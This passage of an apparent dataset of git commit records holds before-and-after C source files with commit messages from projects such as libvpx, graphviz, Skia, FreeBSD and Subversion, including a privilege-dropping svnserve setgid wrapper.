return size;\n    }\n\nprotected:\n    \/\/ pointer to the file content\n    char *fp;\n    \/\/ size of the file\n    size_t size;\n};\n\n\n#endif","subject":"Add missing cstddef header for size_t","message":"Add missing cstddef header for size_t\n","lang":"C","license":"mit","repos":"yyjdelete\/Leanify,JayXon\/Leanify,JayXon\/Leanify,yyjdelete\/Leanify"}
{"commit":"be0220d554aab34ff409c25cdb2820f1c2ee95fd","old_file":"vp8\/decoder\/opencl\/vp8_decode_cl.c","new_file":"vp8\/decoder\/opencl\/vp8_decode_cl.c","old_contents":"#include \"vpx_ports\/config.h\"\n\n#include \"opencl\/vp8_opencl.h\"\n#include \"opencl\/vp8_decode_cl.h\"\n\n#include <stdio.h>\n\nextern int cl_init_dequant();\nextern int cl_destroy_dequant();\n\nint cl_decode_destroy(){\n    int err;\n\n    err = cl_destroy_dequant();\n    \n    return CL_SUCCESS;\n}\n\nint cl_decode_init()\n{\n    int err;\n    printf(\"Initializing opencl decoder-specific programs\/kernels\");\n\n    \/\/Initialize programs to null value\n    \/\/Enables detection of if they've been initialized as well.\n    cl_data.dequant_program = NULL;\n\n    err = cl_init_dequant();\n    if (err != CL_SUCCESS)\n        return err;\n\n    printf(\" .. done\\n\");\n\n    return CL_SUCCESS;\n}\n","new_contents":"#include \"vpx_ports\/config.h\"\n\n#include \"..\/..\/common\/opencl\/vp8_opencl.h\"\n#include \"vp8_decode_cl.h\"\n\n#include <stdio.h>\n\nextern int cl_init_dequant();\nextern int cl_destroy_dequant();\n\nint cl_decode_destroy(){\n    int err;\n\n    err = cl_destroy_dequant();\n    \n    return CL_SUCCESS;\n}\n\nint cl_decode_init()\n{\n    int err;\n    printf(\"Initializing opencl decoder-specific programs\/kernels\");\n\n    \/\/Initialize programs to null value\n    \/\/Enables detection of if they've been initialized as well.\n    cl_data.dequant_program = NULL;\n\n    err = cl_init_dequant();\n    if (err != CL_SUCCESS)\n        return err;\n\n    return CL_SUCCESS;\n}\n","subject":"Remove some debug output from decode initialization.","message":"Remove some debug output from decode initialization.\n","lang":"C","license":"bsd-3-clause","repos":"awatry\/libvpx.opencl,awatry\/libvpx.opencl,awatry\/libvpx.opencl,awatry\/libvpx.opencl"}
{"commit":"f7a22deb1c15605ae68b34ace8326fcf548427ca","old_file":"cmd\/smyrna\/topviewdata.h","new_file":"cmd\/smyrna\/topviewdata.h","old_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef TOPVIEWDATA_H\n#define TOPVIEWDATA_H\n\n#include <gtk\/gtk.h>\n#include \"cgraph.h\"\n#include \"smyrnadefs.h\"\n#include \"tvnodes.h\"\n\n\n\n\n\nint prepare_nodes_for_groups(topview * t, topviewdata * td,\n\t\t\t     int groupindex);\nint load_host_buttons(topview * t, Agraph_t * g, glCompSet * s);\nint validate_group_node(tv_node * TV_Node, char *regex_string);\nint click_group_button(int groupindex);\nvoid glhost_button_clicked_Slot(void *p);\n_BB void host_button_clicked_Slot(GtkWidget * widget, gpointer user_data);\n\n\n#endif\n","new_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifndef TOPVIEWDATA_H\n#define TOPVIEWDATA_H\n\n#include <gtk\/gtk.h>\n#include \"cgraph.h\"\n#include \"smyrnadefs.h\"\n#include \"tvnodes.h\"\n\nint prepare_nodes_for_groups(topview * t, topviewdata * td,\n\t\t\t     int groupindex);\nint load_host_buttons(topview * t, Agraph_t * g, glCompSet * s);\nint click_group_button(int groupindex);\nvoid glhost_button_clicked_Slot(void *p);\n_BB void host_button_clicked_Slot(GtkWidget * widget, gpointer user_data);\n\n\n#endif\n","subject":"Integrate topfish and sfdp into main tree, using GTS for triangulation; remove duplicated code","message":"Integrate topfish and sfdp into main tree, using GTS for triangulation;\nremove duplicated code\n","lang":"C","license":"epl-1.0","repos":"kbrock\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,ellson\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,ellson\/graphviz,pixelglow\/graphviz"}
{"commit":"d65991d5e2241ee3c1ce67cbaf49cbef3c53b291","old_file":"src\/tool\/hpcrun\/unwind\/generic-libunwind\/unw-datatypes-specific.h","new_file":"src\/tool\/hpcrun\/unwind\/generic-libunwind\/unw-datatypes-specific.h","old_contents":"\/\/\n\/\/ This software was produced with support in part from the Defense Advanced\n\/\/ Research Projects Agency (DARPA) through AFRL Contract FA8650-09-C-1915. \n\/\/ Nothing in this work should be construed as reflecting the official policy or\n\/\/ position of the Defense Department, the United States government, or\n\/\/ Rice University.\n\/\/\n#ifndef UNW_DATATYPES_SPECIFIC_H \n#define UNW_DATATYPES_SPECIFIC_H \n\n#include <libunwind.h>\n\n#include <unwind\/common\/fence_enum.h>\n#include <hpcrun\/loadmap.h>\n#include <utilities\/ip-normalized.h>\n\ntypedef struct {\n  load_module_t* lm;\n} intvl_t;\n\n\ntypedef struct hpcrun_unw_cursor_t {\n  void* pc_unnorm;\n\n  fence_enum_t fence; \/\/ Details on which fence stopped an unwind\n  unw_cursor_t uc;\n  \/\/ normalized ip for first instruction in enclosing function\n  ip_normalized_t the_function;\n\n  ip_normalized_t pc_norm;\n} hpcrun_unw_cursor_t;\n\n#endif \/\/ UNW_DATATYPES_SPECIFIC_H \n","new_contents":"\/\/\n\/\/ This software was produced with support in part from the Defense Advanced\n\/\/ Research Projects Agency (DARPA) through AFRL Contract FA8650-09-C-1915. \n\/\/ Nothing in this work should be construed as reflecting the official policy or\n\/\/ position of the Defense Department, the United States government, or\n\/\/ Rice University.\n\/\/\n#ifndef UNW_DATATYPES_SPECIFIC_H \n#define UNW_DATATYPES_SPECIFIC_H \n\n#include <libunwind.h>\n\n#include <unwind\/common\/fence_enum.h>\n#include <hpcrun\/loadmap.h>\n#include <utilities\/ip-normalized.h>\n\ntypedef struct {\n  load_module_t* lm;\n} intvl_t;\n\n\ntypedef struct hpcrun_unw_cursor_t {\n  void* pc_unnorm;\n\n  unw_cursor_t uc;\n  \/\/ normalized ip for first instruction in enclosing function\n  ip_normalized_t the_function;\n\n  ip_normalized_t pc_norm;\n} hpcrun_unw_cursor_t;\n\n#endif \/\/ UNW_DATATYPES_SPECIFIC_H \n","subject":"Drop another unused libunw cursor member.","message":"Drop another unused libunw cursor member.\n","lang":"C","license":"bsd-3-clause","repos":"HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit"}
{"commit":"207fc4291d4660ec2ef2deef959cd8ae0f0edbb0","old_file":"tests\/regression\/36-octapron\/41-threadenter-no-locals.c","new_file":"tests\/regression\/36-octapron\/41-threadenter-no-locals.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nvoid *t_fun(void *arg) {\n  int x; \/\/ threadenter shouldn't pass value for x here\n  assert(x == 3); \/\/ UNKNOWN!\n  return NULL;\n}\n\nint main(void) {\n  int x = 3;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  return 0;\n}\n","subject":"Add octApron test where threadenter doesn't remove locals","message":"Add octApron test where threadenter doesn't remove locals\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"784c65c9589bf4f6f9794a85c35de361012d52f2","old_file":"include\/mqueue.h","new_file":"include\/mqueue.h","old_contents":"","new_contents":"\/*-\n * Copyright (c) 2005 David Xu <davidxu@freebsd.org>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef _MQUEUE_H_\n#define _MQUEUE_H_\n\n#include <sys\/types.h>\n#include <sys\/mqueue.h>\n\nstruct sigevent;\nstruct timespec;\n\nint\tmq_close(mqd_t);\nint\tmq_getattr(mqd_t, struct mq_attr *);\nint\tmq_notify(mqd_t, const struct sigevent *);\nmqd_t\tmq_open(const char *, int, ...);\nssize_t\tmq_receive(mqd_t, char *, size_t, unsigned *);\nint\tmq_send(mqd_t, const char *, size_t, unsigned);\nint\tmq_setattr(mqd_t, const struct mq_attr *__restrict,\n\t\tstruct mq_attr *__restrict);\nssize_t\tmq_timedreceive(mqd_t, char *__restrict, size_t,\n\t\tunsigned *__restrict, const struct timespec *__restrict);\nint\tmq_timedsend(mqd_t, const char *, size_t, unsigned,\n\t\tconst struct timespec *);\nint\tmq_unlink(const char *);\n#endif\n","subject":"Bring in POSIX message queue header file.","message":"Bring in POSIX message queue header file.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"e2a17d9b50335e11f6246086ee3ae909c2cc0fd5","old_file":"parse.c","new_file":"parse.c","old_contents":"#include <stdint.h>\n#include <stdio.h>\n\n#include \"compiler.h\"\n#include \"cJSON.h\"\n#include \"parse.h\"\n\nint parse_message(const char *msg, uint32_t length)\n{\n\tcJSON *root;\n\tconst char *end_parse;\n\n\troot = cJSON_ParseWithOpts(msg, &end_parse, 0);\n\tif (unlikely(root == NULL)) {\n\t\tfprintf(stderr, \"Could not parse JSON!\\n\");\n\t\treturn -1;\n\t} else {\n\t\tuint32_t parsed_length = end_parse - msg;\n\t\tif (unlikely(parsed_length != length)) {\n\t\t\tfprintf(stderr, \"length of parsed JSON does not match message length!\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tcJSON_Delete(root);\n\t\treturn 0;\n\t}\n}\n","new_contents":"#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"compiler.h\"\n#include \"cJSON.h\"\n#include \"parse.h\"\n\nint parse_message(const char *msg, uint32_t length)\n{\n\tcJSON *root;\n\tconst char *end_parse;\n\n\troot = cJSON_ParseWithOpts(msg, &end_parse, 0);\n\tif (unlikely(root == NULL)) {\n\t\tfprintf(stderr, \"Could not parse JSON!\\n\");\n\t\treturn -1;\n\t} else {\n\t\tcJSON *method;\n\t\tconst char *method_string;\n\t\tuint32_t parsed_length = end_parse - msg;\n\t\tif (unlikely(parsed_length != length)) {\n\t\t\tfprintf(stderr, \"length of parsed JSON does not match message length!\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tmethod = cJSON_GetObjectItem(root, \"method\");\n\t\tif (unlikely(method == NULL)) {\n\t\t\tgoto no_method;\n\t\t}\n\t\tmethod_string = method->valuestring;\n\t\tif (unlikely(method_string == NULL)) {\n\t\t\tgoto no_method;\n\t\t}\n\n\t\tif (strcmp(method_string, \"set\") == 0) {\n\n\t\t} else if (strcmp(method_string, \"post\") == 0) {\n\n\t\t} else if (strcmp(method_string, \"add\") == 0) {\n\n\t\t} else if (strcmp(method_string, \"remove\") == 0) {\n\n\t\t} else if (strcmp(method_string, \"call\") == 0) {\n\n\t\t} else if (strcmp(method_string, \"fetch\") == 0) {\n\n\t\t} else if (strcmp(method_string, \"unfetch\") == 0) {\n\n\t\t} else {\n\t\t\tfprintf(stderr, \"Unsupported method: %s!\\n\", method_string);\n\t\t\tgoto unsupported_method;\n\t\t}\n\t\tcJSON_Delete(root);\n\t\treturn 0;\n\n\tno_method:\n\t\tfprintf(stderr, \"Can not find supported method!\\n\");\n\tunsupported_method:\n\t\tcJSON_Delete(root);\n\t\treturn -1;\n\t}\n}\n","subject":"Add trampoline code to call function withn respect to the incoming JSON method.","message":"Add trampoline code to call function withn respect to the incoming JSON method.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet"}
{"commit":"340f3074b49de089e7e8cf9495fd54f67b7f9b8a","old_file":"third_party\/libwebp\/webp\/config.h","new_file":"third_party\/libwebp\/webp\/config.h","old_contents":"\/*\n * Copyright 2015 Google, Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/\/ FIXME: Workaround for skbug.com\/4037\n\/\/ Some of our test machines have an older version of clang that does not\n\/\/ have\n\/\/    __builtin_bswap16\n\/\/\n\/\/ But libwebp expects the builtin. We can change that by using this config.h\n\/\/ file, which replaces the checks in endian_inl.h to decide whether we have\n\/\/ particular builtins.\n\n#ifdef __builtin_bswap64(x)\n    #define HAVE_BUILTIN_BSWAP64\n#endif\n\n#ifdef __builtin_bswap32(x)\n    #define HAVE_BUILTIN_BSWAP32\n#endif\n\n#ifdef __builtin_bswap16(x)\n    #define HAVE_BUILTIN_BSWAP16\n#endif\n","new_contents":"\/*\n * Copyright 2015 Google, Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/\/ FIXME: Workaround for skbug.com\/4037\n\/\/ Some of our test machines have an older version of clang that does not\n\/\/ have\n\/\/    __builtin_bswap16\n\/\/\n\/\/ But libwebp expects the builtin. We can change that by using this config.h\n\/\/ file, which replaces the checks in endian_inl.h to decide whether we have\n\/\/ particular builtins.\n\n#ifdef __builtin_bswap64\n    #define HAVE_BUILTIN_BSWAP64\n#endif\n\n#ifdef __builtin_bswap32\n    #define HAVE_BUILTIN_BSWAP32\n#endif\n\n#ifdef __builtin_bswap16\n    #define HAVE_BUILTIN_BSWAP16\n#endif\n","subject":"Fix webp compile warnings on windows","message":"Fix webp compile warnings on windows\n\nThis fix was landed with:\nhttps:\/\/codereview.chromium.org\/1280073002\/\n\nThe above CL was reverted due to an unrelated bug in libwebp.\n\nThe above CL contains multiple components, and I think that\nreverting this part of the change was unintentional.\n\nBUG=skia:\n\nReview URL: https:\/\/codereview.chromium.org\/1286903003\n","lang":"C","license":"bsd-3-clause","repos":"ominux\/skia,aosp-mirror\/platform_external_skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,tmpvar\/skia.cc,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,shahrzadmn\/skia,rubenvb\/skia,ominux\/skia,shahrzadmn\/skia,rubenvb\/skia,tmpvar\/skia.cc,tmpvar\/skia.cc,ominux\/skia,shahrzadmn\/skia,rubenvb\/skia,qrealka\/skia-hc,shahrzadmn\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,shahrzadmn\/skia,ominux\/skia,qrealka\/skia-hc,ominux\/skia,aosp-mirror\/platform_external_skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,ominux\/skia,tmpvar\/skia.cc,google\/skia,tmpvar\/skia.cc,google\/skia,aosp-mirror\/platform_external_skia,shahrzadmn\/skia,ominux\/skia,HalCanary\/skia-hc,shahrzadmn\/skia,google\/skia,ominux\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,tmpvar\/skia.cc,qrealka\/skia-hc,shahrzadmn\/skia,rubenvb\/skia,HalCanary\/skia-hc,qrealka\/skia-hc,google\/skia,qrealka\/skia-hc,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,shahrzadmn\/skia,tmpvar\/skia.cc,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,ominux\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"304b71823aac62adcbf938c23b823f7d0fd369f1","old_file":"samples\/Qt\/basic\/mythread.h","new_file":"samples\/Qt\/basic\/mythread.h","old_contents":"#ifndef MYTHREAD_H\n#define MYTHREAD_H\n\n#include <QThread>\n#include \"easylogging++.h\"\n\nclass MyThread : public QThread {\n  Q_OBJECT\n  public:\n    MyThread(int id) : threadId(id) {}\n  private:\n    int threadId;\n\n  protected:\n    void run() {\n      LINFO <<\"Writing from a thread \" << threadId;\n\n      LVERBOSE(2) << \"This is verbose level 2 logging from thread #\" << threadId;\n\n      \/\/ Following line will be logged only once from second running thread (which every runs second into\n      \/\/ this line because of interval 2)\n      LWARNING_EVERY_N(2) << \"This will be logged only once from thread who every reaches this line first. Currently running from thread #\" << threadId;\n\n      for (int i = 1; i <= 10; ++i) {\n          LVERBOSE_EVERY_N(2, 3) << \"Verbose level 3 log every two times. This is at \" << i << \" from thread #\" << threadId;\n      }\n\n      \/\/ Following line will be logged once with every thread because of interval 1 \n      LINFO_EVERY_N(1) << \"This interval log will be logged with every thread, this one is from thread #\" << threadId;\n\n      LINFO_IF(threadId == 2) << \"This log is only for thread 2 and is ran by thread #\" << threadId;\n\n      std::vector<std::string> myLoggers;\n      easyloggingpp::Loggers::getAllLogIdentifiers(myLoggers);\n      for (unsigned int i = 0; i < myLoggers.size(); ++i) {\n          std::cout << \"Logger ID [\" << myLoggers.at(i) << \"]\";\n      }\n      easyloggingpp::Configurations c;\n      c.parseFromText(\"*ALL:\\n\\nFORMAT = %level\");\n    }\n};\n#endif\n","new_contents":"#ifndef MYTHREAD_H\n#define MYTHREAD_H\n\n#include <QThread>\n#include \"easylogging++.h\"\n\nclass MyThread : public QThread {\n  Q_OBJECT\n  public:\n    MyThread(int id) : threadId(id) {}\n  private:\n    int threadId;\n\n  protected:\n    void run() {\n      LINFO <<\"Writing from a thread \" << threadId;\n\n      LVERBOSE(2) << \"This is verbose level 2 logging from thread #\" << threadId;\n\n      \/\/ Following line will be logged only once from second running thread (which every runs second into\n      \/\/ this line because of interval 2)\n      LWARNING_EVERY_N(2) << \"This will be logged only once from thread who every reaches this line first. Currently running from thread #\" << threadId;\n\n      for (int i = 1; i <= 10; ++i) {\n          LVERBOSE_EVERY_N(2, 3) << \"Verbose level 3 log every two times. This is at \" << i << \" from thread #\" << threadId;\n      }\n\n      \/\/ Following line will be logged once with every thread because of interval 1 \n      LINFO_EVERY_N(1) << \"This interval log will be logged with every thread, this one is from thread #\" << threadId;\n\n      LINFO_IF(threadId == 2) << \"This log is only for thread 2 and is ran by thread #\" << threadId;\n\n    }\n};\n#endif\n","subject":"Remove logger ids loop from sample","message":"Remove logger ids loop from sample\n","lang":"C","license":"mit","repos":"spqr33\/easyloggingpp,lisong521\/easyloggingpp,blankme\/easyloggingpp,lisong521\/easyloggingpp,blankme\/easyloggingpp,arvidsson\/easyloggingpp,simonhang\/easyloggingpp,chenmusun\/easyloggingpp,utiasASRL\/easyloggingpp,dreal-deps\/easyloggingpp,blankme\/easyloggingpp,lisong521\/easyloggingpp,chenmusun\/easyloggingpp,simonhang\/easyloggingpp,hellowshinobu\/easyloggingpp,hellowshinobu\/easyloggingpp,arvidsson\/easyloggingpp,utiasASRL\/easyloggingpp,dreal-deps\/easyloggingpp,arvidsson\/easyloggingpp,chenmusun\/easyloggingpp,spthaolt\/easyloggingpp,spqr33\/easyloggingpp,simonhang\/easyloggingpp,hellowshinobu\/easyloggingpp,utiasASRL\/easyloggingpp,spthaolt\/easyloggingpp,spqr33\/easyloggingpp,dreal-deps\/easyloggingpp,spthaolt\/easyloggingpp"}
{"commit":"58864e0f25384641aef7bd616c6c5b5470656e46","old_file":"oi_os.h","new_file":"oi_os.h","old_contents":"#ifndef OI_OS\n#define OI_OS 1\n\n#if defined(_WIN32) || defined(__WIN32__)\n#   define OI_WIN\n\n#   ifdef _MSC_VER\n#   define OI_MSVC\n#   else\n#   define OI_GCC\n#   endif\n\n#   ifndef WIN32_LEAN_AND_MEAN\n#   define WIN32_LEAN_AND_MEAN\n#   endif\n\n#   include <windows.h>\n\n#elif defined(linux) || defined(__linux)\n#   define OI_LINUX\n#   define OI_GCC\n\n#   ifndef _XOPEN_SOURCE\n#   define _XOPEN_SOURCE 500\n#   endif\n\n#   ifndef __USE_UNIX98\n#   define __USE_UNIX98\n#   endif\n\n#elif defined(__APPLE__) || defined(MACOSX) || defined(macintosh) || defined(Macintosh)\n#   define OI_MAC\n#   define OI_GCC\n\n#elif defined(__FreeBSD__) || defined(__FreeBSD_kernel__)\n#   define OI_FreeBSD\n#   define OI_GCC\n\n#else\n#   warning oi does not recognize OS\n#   define OI_UNKNOWN_OS\n#   define OI_UNKNOWN_COMPILER\n#endif\n#endif\n","new_contents":"#ifndef OI_OS\n#define OI_OS 1\n\n#if defined(__GNUC__)\n#   define OI_GCC\n#elif defined(_MSC_VER)\n#   define OI_MSVC\n#else\n#   warning oi does not recognize compiler\n#   define OI_UNKNOWN_CC\n#endif\n\n#if defined(_WIN32) || defined(__WIN32__)\n#   define OI_WIN\n#\n#   ifndef WIN32_LEAN_AND_MEAN\n#   define WIN32_LEAN_AND_MEAN\n#   endif\n#\n#   include <windows.h>\n#\n#elif defined(linux) || defined(__linux)\n#   define OI_LINUX\n#\n#   ifndef _XOPEN_SOURCE\n#   define _XOPEN_SOURCE 500\n#   endif\n#\n#   ifndef __USE_UNIX98\n#   define __USE_UNIX98\n#   endif\n#\n#elif defined(__APPLE__) || defined(MACOSX) || defined(macintosh) || defined(Macintosh)\n#   define OI_MAC\n#\n#elif defined(__FreeBSD__) || defined(__FreeBSD_kernel__)\n#   define OI_FreeBSD\n#\n#else\n#   warning oi does not recognize OS\n#   define OI_UNKNOWN_OS\n#endif\n#endif\n","subject":"Set up actual compiler detections. Only supports gcc and msvc at the moment","message":"Set up actual compiler detections. Only supports gcc and msvc at the moment\n","lang":"C","license":"mit","repos":"geky\/oi"}
{"commit":"cb03d892cccf64b647986e07d0773fe0a8d1da29","old_file":"iobuf\/ibuf_refill.c","new_file":"iobuf\/ibuf_refill.c","old_contents":"#include <errno.h>\n#include <unistd.h>\n#include \"iobuf.h\"\n\nstatic const char errmsg[] = \"ibuf_refill called with non-empty buffer!\\n\";\n\nint ibuf_refill(ibuf* in)\n{\n  iobuf* io;\n  unsigned oldlen;\n  unsigned rd;\n\n  io = &(in->io);\n  if (io->flags) return 0;\n  if (io->bufstart != 0) {\n    if (io->bufstart < io->buflen) {\n      write(1, errmsg, sizeof errmsg);\n      exit(1);\n      \/* io->buflen -= io->bufstart; *\/\n      \/* memcpy(io->buffer, io->buffer+io->bufstart, io->buflen); *\/\n    }\n    else\n      io->buflen = 0;\n    io->bufstart = 0;\n  }\n  oldlen = io->buflen;\n  if(io->buflen < io->bufsize) {\n    if (io->timeout && !iobuf_timeout(io, 0)) return 0;\n    rd = read(io->fd, io->buffer+io->buflen, io->bufsize-io->buflen);\n    if(rd == (unsigned)-1)\n      IOBUF_SET_ERROR(io);\n    else if(rd == 0)\n      io->flags |= IOBUF_EOF;\n    else {\n      io->buflen += rd;\n      io->offset += rd;\n    }\n  }\n  return io->buflen > oldlen;\n}\n","new_contents":"#include <errno.h>\n#include <unistd.h>\n#include \"iobuf.h\"\n\nstatic const char errmsg[] = \"ibuf_refill called with non-empty buffer!\\n\";\n\nint ibuf_refill(ibuf* in)\n{\n  iobuf* io;\n  unsigned oldlen;\n  unsigned rd;\n\n  io = &(in->io);\n  if (io->flags) return 0;\n  if (io->bufstart != 0) {\n    if (io->bufstart < io->buflen) {\n      write(1, errmsg, sizeof errmsg);\n      _exit(1);\n      \/* io->buflen -= io->bufstart; *\/\n      \/* memcpy(io->buffer, io->buffer+io->bufstart, io->buflen); *\/\n    }\n    else\n      io->buflen = 0;\n    io->bufstart = 0;\n  }\n  oldlen = io->buflen;\n  if(io->buflen < io->bufsize) {\n    if (io->timeout && !iobuf_timeout(io, 0)) return 0;\n    rd = read(io->fd, io->buffer+io->buflen, io->bufsize-io->buflen);\n    if(rd == (unsigned)-1)\n      IOBUF_SET_ERROR(io);\n    else if(rd == 0)\n      io->flags |= IOBUF_EOF;\n    else {\n      io->buflen += rd;\n      io->offset += rd;\n    }\n  }\n  return io->buflen > oldlen;\n}\n","subject":"Call _exit instead of exit on assertion failure.","message":"Call _exit instead of exit on assertion failure.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"ada00c025b0cc76e014407bcb7f04e5537b47abd","old_file":"tools\/examples\/svnserve-sgid.c","new_file":"tools\/examples\/svnserve-sgid.c","old_contents":"","new_contents":"\/*\n * Wrapper to run the svnserve process setgid.\n * The idea is to avoid the problem that some interpreters like bash\n * invoked by svnserve in hook scripts will reset the effective gid to\n * the real gid, nuking the effect of an ordinary setgid svnserve binary.\n * Sadly, to set the real gid portably, you need to be root, if only\n * for a moment.\n * Also smashes the environment to something known, so that games\n * can't be played to try to break the security of the hook scripts,\n * by setting IFS, PATH, and similar means.\n *\/\n\/*\n * Written by Perry Metzger, and placed into the public domain.\n *\/\n\n#include <stdio.h>\n#include <unistd.h>\n\n#define REAL_PATH \"\/usr\/bin\/svnserve.real\"\n\nchar *newenv[] = { \"PATH=\/bin:\/usr\/bin\", \"SHELL=\/bin\/sh\", NULL };\n\nint\nmain(int argc, char **argv)\n{\n\tif (setgid(getegid()) == -1) {\n\t\tperror(\"setgid(getegid())\");\n\t\treturn 1;\n\t}\n\n\tif (seteuid(getuid()) == -1) {\n\t\tperror(\"seteuid(getuid())\");\n\t\treturn 1;\n\t}\n\n\texecve(REAL_PATH, argv, newenv);\n\tperror(\"attempting to exec \" REAL_PATH \" failed\");\n\treturn 1;\n}\n","subject":"Add Perry Metzger's wrapper to run the svnserve process setgid, since this can be very helpful to svn+ssh users. Quoting from the comments:","message":"Add Perry Metzger's wrapper to run the svnserve 